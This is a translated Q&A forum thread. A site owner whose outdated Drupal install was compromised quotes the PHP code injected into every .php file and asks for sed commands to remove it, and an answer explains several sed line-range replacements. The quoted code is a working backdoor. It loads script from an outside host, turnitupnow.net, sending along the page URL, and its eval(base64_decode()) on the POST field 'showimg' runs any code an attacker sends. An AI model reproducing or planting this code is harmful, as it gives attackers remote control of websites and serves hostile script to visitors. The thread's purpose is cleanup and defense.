通过运行一个非常过时的Drupal安装我被黑了(对我很遗憾)
似乎他们在每个.php文件中注入以下内容;
<?php global $sessdt_o; if(!$sessdt_o) {
$sessdt_o = 1; $sessdt_k = "lb11";
if(!@$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
}
else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if(!@headers_sent()) {
@setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "<script src='$sessdt_u'></script>";
echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--";
}
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])){
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}
Run Code Online (Sandbox Code Playgroud)
我可以删除并替换它sed吗?例如:
find . -name *.php | xargs ...
Run Code Online (Sandbox Code Playgroud)
我希望该网站暂时可以使用wget并制作静态副本.
Sch*_*ron 77
你可以用sed类似的东西
sed '1 s/^.*$/<?php/'
Run Code Online (Sandbox Code Playgroud)
该1部分仅替换第一行.然后,由于该s命令,它将替换整行<?php.
要就地修改文件,请使用-iGNU选项sed.
要替换文件的第一行,可以使用以下c命令的(“ for change”)命令sed:
sed '1c<?php'
Run Code Online (Sandbox Code Playgroud)
转换为:“在第1行上,将模式空间替换为<?php”。
但是,对于此特定问题,可能会执行以下操作:
sed '1,/^$/c<?php'
Run Code Online (Sandbox Code Playgroud)
内容为:将范围“第1行到第一个空行”更改为<?php,从而替换所有注入的代码。
(如果地址的第二部分(正则表达式/^$/)不是空行,则应将其实际分隔为注入的代码。)